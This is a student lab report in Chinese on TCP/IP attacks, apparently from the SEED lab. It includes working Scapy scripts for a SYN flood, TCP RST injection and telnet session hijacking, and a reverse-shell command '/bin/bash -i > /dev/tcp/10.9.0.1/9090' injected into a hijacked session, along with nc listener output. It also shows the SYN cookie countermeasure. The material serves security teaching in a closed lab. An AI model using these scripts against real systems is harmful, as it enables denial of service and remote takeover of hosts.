Lab2 TCP/IP Attack

Task1 SYN Flooding Attack

1. 未攻击时,使用telnet连接10.9.0.5,运行结果如下:

```
root@VM:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
fbf0113df6bd login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86 64)
```

* Documentation: https://help.ubuntu.com

* Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.

seed@fbf0113df6bd:~\$

可见成功连接。

2. 新建synflood.py, 代码如下:

#!/bin/env python3

from scapy.all import IP, TCP, send

from ipaddress import IPv4Address

from random import getrandbits

```
ip = IP(dst="10.9.0.5")
```

tcp = TCP(dport=23, flags='S')

pkt = ip/tcp

while True:

```
pkt[IP].src = str(IPv4Address(getrandbits(32))) # source iP
pkt[TCP].sport = getrandbits(16) # source port
pkt[TCP].seq = getrandbits(32) # sequence number
send(pkt, verbose = 0)
```

3. 清除10.9.0.5上的连接缓存,如图所示:

```
root@fbf0113df6bd:/# ip tcp_metrics show
10.9.0.1 age 65.636sec cwnd 10 rtt 212us rttvar 332us source 10.9.0.5
10.9.0.6 age 273.200sec cwnd 10 rtt 124us rttvar 155us source 10.9.0.5
root@fbf0113df6bd:/# ip tcp_metrics flush
root@fbf0113df6bd:/# ip tcp metrics show
```

4. 运行synflood.py进行攻击,由于发送欺骗报文速度不够快,需要同时运行多个攻击程序,结果如下:

```
root@fbf0113df6bd:/# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address
                                            Foreign Address
                                                                     State
           0
                  0 0.0.0.0:23
                                            0.0.0.0:*
                                                                     LISTEN
tcp
tcp
           0
                  0 127.0.0.11:36943
                                            0.0.0.0:*
                                                                     LISTEN
           0
                  0 10.9.0.5:23
                                            204.196.242.58:24949
                                                                     SYN RECV
tcp
                                                                     SYN RECV
           0
                  0 10.9.0.5:23
                                            250.208.169.92:62180
tcp
                                            174.35.28.86:64149
          0
                  0 10.9.0.5:23
                                                                     SYN RECV
tcp
          0
tcp
                  0 10.9.0.5:23
                                            133.249.188.105:64252
                                                                     SYN RECV
tcp
          0
                  0 10.9.0.5:23
                                            167.63.16.50:34357
                                                                     SYN RECV
          0
                  0 10.9.0.5:23
                                            178.18.21.39:61474
                                                                     SYN RECV
tcp
                                                                     SYN RECV
          0
                  0 10.9.0.5:23
                                            67.62.127.120:10919
tcp
          0
                  0 10.9.0.5:23
                                            188.11.2.107:59197
                                                                     SYN RECV
tcp
                                                                     SYN RECV
                  0 10.9.0.5:23
          0
                                            162.168.215.38:11776
tcp
                                                                     SYN RECV
tcp
          0
                  0 10.9.0.5:23
                                            22.122.94.32:60302
tcp
           0
                  0 10.9.0.5:23
                                            44.168.237.99:14676
                                                                     SYN RECV
tcp
          0
                  0 10.9.0.5:23
                                            13.223.77.74:25743
                                                                     SYN RECV
          0
                  0 10.9.0.5:23
                                            14.148.58.92:47572
                                                                     SYN RECV
tcp
           0
                  0 10.9.0.5:23
                                            28.247.188.30:23961
                                                                     SYN RECV
tcp
tcp
           0
                  0 10.9.0.5:23
                                            48.27.55.115:33801
                                                                     SYN RECV
```

[07/11/21]seed@VM:~/.../volumes\$ telnet 10.9.0.5 Trying 10.9.0.5...

telnet: Unable to connect to remote host: Connection timed out 可见连接超时,攻击成功。

Task1.2 Launch the Attack Using C

1. 编译synflood.c文件并运行进行攻击,命令如下:

[07/11/21]seed@VM:~/.../volumes\$ gcc synflood.c -o synflood

root@VM:/volumes# synflood 10.9.0.5 23

2. 运行结果如下:

root@fbf0113df6bd:/# netstat -nat Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State 0 0 0.0.0.0:23 0.0.0.0:* LISTEN tcp 0 0 127.0.0.11:36943 0.0.0.0:* LISTEN tcp SYN RECV tcp 0 0 10.9.0.5:23 205.170.214.99:26491 0 0 10.9.0.5:23 126.215.189.101:57829 SYN RECV tcp 0 10.9.0.5:23 tcp 0 10.133.45.7:35379 SYN RECV 0 0 10.9.0.5:23 26.39.165.68:5162 SYN RECV tcp 0 0 10.9.0.5:23 8.231.54.35:19136 tcp SYN RECV tcp 0 0 10.9.0.5:23 244.36.35.109:52483 SYN RECV 0 0 10.9.0.5:23 144.217.125.52:58434 SYN RECV tcp 0 0 10.9.0.5:23 142.254.238.114:26567 SYN RECV tcp 0 0 10.9.0.5:23 133.156.47.12:55262 SYN RECV tcp 172.254.187.124:25305 SYN RECV 0 0 10.9.0.5:23 tcp 0 10.9.0.5:23 0 110.172.216.45:13682 SYN RECV tcp

[07/11/21]seed@VM:~/.../volumes\$ telnet 10.9.0.5

Trying 10.9.0.5...

telnet: Unable to connect to remote host: Connection timed out

可见连接超时, 攻击成功。

与Python程序相比,不需要同时运行多个攻击程序就可以完成攻击,这是因为.C程序发送欺骗报文的速度更快。

Task1.3 Enable the SYN Cookie Countermeasure

1. 激活SYN cookie机制:

```
Victim:
```

image: handsonsecurity/seed-ubuntu:large

container name: victim-10.9.0.5

tty: true cap_add:

- ALL

sysctls:

net.ipv4.tcp syncookies=1

networks:

net-10.9.0.0:

ipv4 address: 10.9.0.5

2. 重复之前的攻击, 发现telnet 10.9.0.5, 可见攻击失败。

Task 2: TCP RST Attacks on telnet Connections

1. usr1 (10.9.0.6) telnet 10.9.0.5, 使用Wireshark抓包, 结果如下:

63	2021-07-11 23:3		10.9.0.5	TCP	66 58628 → 23 [ACK] Seg=1246345635 Ack=997202120
	2021-07-11 22:3				TO COULD TE [NON] DOG TE TO TO TO TO TE TO
	2021-07-11 23.3	10.9.0.5	10.9.0.6	TELNET	68 Telnet Data
64	2021-07-11 23:3	10.9.0.6	10.9.0.5	TCP	66 58628 → 23 [ACK] Seq=1246345635 Ack=997202122
65	2021-07-11 23:3	10.9.0.5	10.9.0.6	TELNET	130 Telnet Data
66	2021-07-11 23:3	10.9.0.6	10.9.0.5	TCP	66 58628 → 23 [ACK] Seq=1246345635 Ack=997202186
67	2021-07-11 23:3	10.9.0.5	10.9.0.6	TELNET	150 Telnet Data
68	2021-07-11 23:3	10.9.0.6	10.9.0.5	TCP	66 58628 → 23 [ACK] Seq=1246345635 Ack=997202270
69	2021-07-11 23:3	10.9.0.5	10.9.0.6	TELNET	87 Telnet Data
L 70	2021-07-11 23:3	10.9.0.6	10.9.0.5	TCP	66 58628 → 23 [ACK] Seq=1246345635 Ack=997202291

- Frame 70: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface br-708917e60908, id 0

 Ethernet II, Src: 02:42:0a:09:00:06 (02:42:0a:09:00:06), Dst: 02:42:0a:09:00:05 (02:42:0a:09:00:05)

 Internet Protocol Version 4, Src: 10.9.0.6, Dst: 10.9.0.5

 Transmission Control Protocol, Src Port: 58628, Dst Port: 23, Seq: 1246345635, Ack: 997202291, Len: 0

- 2. 根据最后一次通信的数据包编写攻击程序tcprst.py,代码如下:

#!/usr/bin/env python3

from scapy.all import *

ip = IP(src="10.9.0.6", dst="10.9.0.5")

```
tcp = TCP(sport=58628, dport=23, flags="R", seq=1246345649, ack=997202313)
pkt = ip/tcp
ls(pkt)
send(pkt,verbose=0)
```

3. 运行攻击程序,发送的伪造报文如下:

```
root@VM:/volumes# tcprst.py
                                                = 4
version : BitField (4 bits)
                                                                  (4)
          : BitField (4 bits)
ihl
                                               = None
                                                                  (None)
tos
          : XByteField
                                                = 0
                                                                  (0)
len
          : ShortField
                                                = None
                                                                  (None)
id
          : ShortField
                                                = 1
                                                                  (1)
flags
         : FlagsField (3 bits)
                                               = <Flag 0 ()>
                                                                  (<Flag 0 ()>)
frag
          : BitField (13 bits)
                                               = 0
                                                                  (0)
ttl
          : ByteField
                                               = 64
                                                                  (64)
         : ByteEnumField
proto
                                               = 6
                                                                  (0)
          : XShortField
chksum
                                               = None
                                                                  (None)
                                               = '10.9.0.6'
          : SourceIPField
src
                                                                  (None)
                                               = '10.9.0.5'
          : DestIPField
                                                                  (None)
dst
options : PacketListField
                                                = []
                                                                  ([])
sport
         : ShortEnumField
                                               = 58628
                                                                  (20)
         : ShortEnumField
                                               = 23
                                                                  (80)
dport
                                                = 1246345649
         : IntField
                                                                  (0)
seq
         : IntField
                                               = 997202313
                                                                  (0)
         : BitField (4 bits)
dataofs
                                               = None
                                                                  (None)
reserved : BitField (3 bits)
                                               = 0
                                                                  (0)
flags : FlagsField (9 bits)
                                               = \langle Flag 4 (R) \rangle
                                                                  (<Flag 2 (S)>)
         : ShortField
window
                                               = 8192
                                                                  (8192)
         : XShortField
chksum
                                                = None
                                                                  (None)
urgptr
          : ShortField
                                                = 0
                                                                  (0)
options : TCPOptionsField
                                                                  (b'')
                                                = []
```

4. 攻击结果如下:

seed@fbf0113df6bd:~\$ Connection closed by foreign host. 可见被攻击者10.9.0.5的连接已被对方关闭、攻击成功。

Task 3: TCP Session Hijacking

1. usr1 (10.9.0.6) telnet 10.9.0.5, 使用Wireshark抓包, 结果如下:

No.	Time	Source	Destination	Protocol	ol Length Info	
60	2021-07-12 07:2	10.9.0.5	10.9.0.6	TELNET	T 476 Telnet Data	
61	1 2021-07-12 07:2	10.9.0.6	10.9.0.5	TCP	66 58998 → 23 [ACK] Seq=1597080865 Ack=89482795	5 Win=6
62	2 2021-07-12 07:2	10.9.0.5	10.9.0.6	TELNET	T 150 Telnet Data	
63	3 2021-07-12 07:2	10.9.0.6	10.9.0.5	TCP	66 58998 → 23 [ACK] Seq=1597080865 Ack=89482879	Win=6
64	2021-07-12 07:2	10.9.0.5	10.9.0.6	TELNET	T 87 Telnet Data	
L 65	2021-07-12 07:2	10.9.0.6	10.9.0.5	TCP	66 58998 → 23 [ACK] Seq=1597080865 Ack=89482906	9 Win=6
66	3 2021-07-12 07:2	10.9.0.5	10.9.0.6	TELNET	T 223 Telnet Data	

2. 根据最后一次通信的数据包编写攻击程序hi.py, 伪造usr1(10.9.0.6)向 victim(10.9.0.5)发送"whoami"命令报文, 代码如下:

#!/usr/bin/env python3

from scapy.all import *

ip = IP(src="10.9.0.6", dst="10.9.0.5")

tcp = TCP(sport=58998, dport=23, flags="A", seq=1597080883, ack=89482952)

data = "whoami\r\n"

pkt = ip/tcp/data

Is(pkt)

send(pkt,verbose=0)

3. 运行攻击程序,发送的伪造报文如下:

```
root@VM:/volumes# hi.py
version : BitField (4 bits)
                                                                    (4)
          : BitField (4 bits)
                                                                    (None)
                                                 = None
          : XByteField
                                                 = 0
                                                                    (0)
len
          : ShortField
                                                 = None
                                                                    (None)
id
          : ShortField
                                                 = 1
                                                                    (1)
flags
          : FlagsField (3 bits)
                                                 = <Flag 0 ()>
                                                                    (<Flag 0 ()>)
frag
          : BitField (13 bits)
                                                 = 0
                                                                    (0)
ttl
          : ByteField
                                                 = 64
                                                                    (64)
                                                 = 6
proto
         : ByteEnumField
                                                                    (0)
          : XShortField
chksum
                                                 = None
                                                                    (None)
src
         : SourceIPField
                                                 = '10.9.0.6'
                                                                    (None)
         : DestIPField
                                                 = '10.9.0.5'
dst
                                                                    (None)
options : PacketListField
                                                 = []
                                                                    ([])
                                                 = 58998
sport
          : ShortEnumField
                                                                    (20)
          : ShortEnumField
                                                                    (80)
dport
          : IntField
                                                 = 1597080883
                                                                    (0)
seq
          : IntField
                                                 = 89482952
                                                                    (0)
ack
dataofs
dataofs : BitField (4 bits) reserved : BitField (3 bits)
                                                 = None
                                                                    (None)
                                                 = 0
                                                                    (0)
flags : FlagsField (9 bits)
window : ShortField
                                                 = <Flag 16 (A)>
                                                                    (<Flag 2 (S)>)
                                                 = 8192
                                                                    (8192)
          : XShortField
                                                 = None
                                                                    (None)
chksum
urgptr
          : ShortField
                                                 = 0
                                                                    (0)
                                                                    (b'')
options
          : TCPOptionsField
                                                 = []
load : StrField
                                                 = b'whoami\r\n' (b'')
```

4. 攻击结果如下:

No.	Time	Source	Destination	Protocol	Length Info		
	90 2021-07-12 07:2	02:42:0a:09:00:05	02:42:0a:09:00:06	ARP	42 Who has 10.9.0.6? Tell 10.9.0.5		
	91 2021-07-12 07:2	02:42:0a:09:00:06	02:42:0a:09:00:05	ARP	42 10.9.0.6 is at 02:42:0a:09:00:06		
	92 2021-07-12 07:2	02:42:42:ef:85:68	Broadcast	ARP	42 Who has 10.9.0.5? Tell 10.9.0.1		
	93 2021-07-12 07:2	02:42:0a:09:00:05	02:42:42:ef:85:68	ARP	42 10.9.0.5 is at 02:42:0a:09:00:05		
	94 2021-07-12 07:2	10.9.0.6	10.9.0.5	TELNET	62 Telnet Data		
	95 2021-07-12 07:2	10.9.0.5	10.9.0.6	TELNET	74 Telnet Data		
	96 2021-07-12 07:2	10.9.0.5	10.9.0.6	TELNET	93 Telnet Data		
1	97 2021-07-12 07:2	10.9.0.5	10.9.0.6	TCP	101 [TCP Retransmission] 23 → 58998 [PSH_ACK] Seq		
-	[Checksum Status: Unverified] Urgent pointer: 0 Output put put put put put put put put pu						
→ Te	▼ Telnet						
	Data: seed\r\n						
1	Data: seed@00654ce2f70f:~\$						

可见成功伪造usr1(10.9.0.6)向victim(10.9.0.5)发送"whoami"命令报文,victim发送响应报文,攻击成功。

Task 4: Creating Reverse Shell using TCP Session Hijacking

1. usr1 (10.9.0.6) telnet 10.9.0.5, 使用Wireshark抓包, 结果如下:

No.	Time Source	Destination	Protocol	Length Info
	59 2021-07-12 07:1 10.9.0.6	10.9.0.5	TCP	66 58986 → 23 [ACK] Seq=908593770 Ack=2127715893 Win=
	60 2021-07-12 07:1 10.9.0.5	10.9.0.6	TELNET	476 Telnet Data
	61 2021-07-12 07:1 10.9.0.6	10.9.0.5	TCP	66 58986 → 23 [ACK] Seq=908593770 Ack=2127716303 Win=
	62 2021-07-12 07:1 10.9.0.5	10.9.0.6	TELNET	150 Telnet Data
	63 2021-07-12 07:1 10.9.0.6	10.9.0.5	TCP	66 58986 → 23 [ACK] Seq=908593770 Ack=2127716387 Win=
-	64 2021-07-12 07:1 10.9.0.5	10.9.0.6	TELNET	87 Telnet Data
L	65 2021-07-12 07:1 10.9.0.6	10.9.0.5	TCP	66 58986 → 23 [ACK] Seq=908593770 Ack=2127716408 Win=

2. 根据最后一次通信的数据包编写攻击程序reverse.py, 伪造usr1(10.9.0.6)向 victim(10.9.0.5)发送反弹shell命令报文, 代码如下:

#!/usr/bin/env python3

from scapy.all import *

ip = IP(src="10.9.0.6", dst="10.9.0.5")

tcp = TCP(sport=59004, dport=23, flags="A", seq=532892419, ack=4259841754)

data = "/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\r\n"

pkt = ip/tcp/data

Is(pkt)

send(pkt,verbose=0)

3. 攻击者运行命令nc -lnv 9090, 并运行攻击程序, 发送的伪造报文如下:

```
root@VM:/volumes# reverse.py
version : BitField (4 bits) ihl : BitField (4 bits)
                                                     = None
                                                                         (None)
           : XByteField
tos
                                                     = 0
                                                                         (O)
           : ShortField
                                                     = None
                                                                         (None)
len
id
           : ShortField
                                                     = 1
                                                                         (1)
          : FlagsField (3 bits)
                                                     = <Flag 0 ()>
flags
                                                                         (<Flag 0 ()>)
          : RitField (3 bits)
: ByteField
                                                     = 0
                                                                         (0)
frag
ttl
                                                     = 64
                                                                         (64)
proto
           : ByteEnumField
                                                     = 6
                                                                         (0)
          : XShortField
: SourceIPField
chksum
                                                     = None
                                                                         (None)
                                                     = '10.9.0.6'
src
                                                                         (None)
                                                     = '10.9.0.5'
           : DestIPField
dst
                                                                         (None)
options
         : PacketListField
                                                     = []
                                                                         ([])
          : ShortEnumField
                                                     = 59004
                                                                         (20)
dport
           : ShortEnumField
                                                     = 23
                                                                         (80)
                                                     = 532892419
seq
           : IntField
                                                                         (0)
                                                    = 4259841754
ack
           : IntField
                                                                         (O)
dataofs
           : BitField (4 bits)
                                                     = None
                                                                         (None)
reserved : BitField (3 bits)
                                                     = 0
                                                                         (0)
          : FlagsField (9 bits)
: ShortField
: XShortField
flags
window
                                                     = <Flag 16 (A)>
                                                                         (<Flag 2 (S)>)
                                                     = 8192
                                                                         (8192)
chksum
                                                     = None
                                                                         (None)
urgptr
          : ShortField
: TCPOptionsField
                                                     = 0
                                                                         (0)
options
                                                     = []
load : StrField
                                                     = b'/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\r\n' (b'')
```

4. 攻击结果如下:

root@VM:/volumes# nc -lnv 9090 Listening on 0.0.0.0 9090 Connection received on 10.9.0.5 49048 seed@00654ce2f70f:

可见攻击者成功得到victim的反弹shell。